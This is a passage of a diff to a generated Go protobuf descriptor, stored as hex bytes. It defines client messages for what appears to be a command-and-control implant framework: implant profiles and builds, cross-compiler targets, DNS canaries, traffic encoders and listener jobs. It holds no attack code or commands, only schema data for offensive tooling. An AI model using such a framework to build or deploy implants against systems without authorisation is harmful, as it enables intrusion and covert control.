0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, - 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, - 0x6d, 0x61, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x22, 0x85, 0x01, 0x0a, 0x0d, 0x43, 0x72, - 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x22, 0x0a, 0x0c, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, - 0x16, 0x0a, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, - 0x74, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, - 0x68, 0x22, 0xf5, 0x01, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x12, - 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, - 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, - 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, - 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, - 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, - 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x12, - 0x48, 0x0a, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, - 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, - 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x22, 0x1f, 0x0a, 0x09, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x44, - 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, - 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, - 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, - 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, - 0x12, 0x26, 0x0a, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, - 0x65, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, - 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x61, 0x74, 0x65, - 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x14, - 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x43, - 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x3b, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, - 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, - 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, - 0x73, 0x22, 0x1c, 0x0a, 0x0a, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, - 0x0e, 0x0a, 0x02, 0x49, 0x50, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x50, 0x22, - 0x55, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x47, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x08, 0x50, 0x72, 0x6f, - 0x66, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, - 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x22, - 0x31, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x6c, 0x65, 0x52, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x22, 0x7a, 0x0a, 0x0e, 0x54, 0x72, + 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, + 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, + 0x57, 0x61, 0x73, 0x6d, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x57, 0x61, 0x73, 0x6d, + 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x08, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x16, + 0x0a, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, + 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x22, 0xb1, 0x01, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, + 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x45, 0x0a, 0x08, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, + 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x73, 0x1a, 0x55, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa6, 0x01, 0x0a, 0x12, 0x54, + 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, + 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, + 0x74, 0x65, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x1a, 0x0a, + 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, + 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x53, 0x61, 0x6d, + 0x70, 0x6c, 0x65, 0x22, 0xc3, 0x01, 0x0a, 0x13, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, + 0x32, 0x0a, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, + 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x52, 0x05, 0x54, 0x65, + 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0d, 0x54, 0x6f, 0x74, 0x61, + 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x6f, 0x74, + 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x54, + 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x22, 0x66, 0x0a, 0x15, 0x45, 0x78, 0x74, + 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x54, 0x50, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x54, 0x50, 0x53, 0x65, 0x63, 0x72, 0x65, + 0x74, 0x22, 0x79, 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, + 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, + 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xa4, 0x01, 0x0a, + 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3e, + 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x24, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x1a, 0x53, + 0x0a, 0x0c, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x22, 0x6c, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, + 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, + 0x48, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, + 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x22, 0x85, 0x01, 0x0a, 0x0d, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, + 0x6c, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, + 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, + 0x4f, 0x4f, 0x53, 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, + 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, + 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x16, 0x0a, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, + 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x12, + 0x18, 0x0a, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68, 0x22, 0xf5, 0x01, 0x0a, 0x08, 0x43, 0x6f, + 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, + 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, + 0x43, 0x48, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x03, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, + 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, + 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, + 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x12, 0x48, 0x0a, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, + 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x05, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x12, 0x55, + 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, + 0x73, 0x22, 0x1f, 0x0a, 0x09, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, - 0x6d, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, - 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, - 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, - 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, - 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, - 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2d, 0x0a, 0x04, - 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x25, 0x0a, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 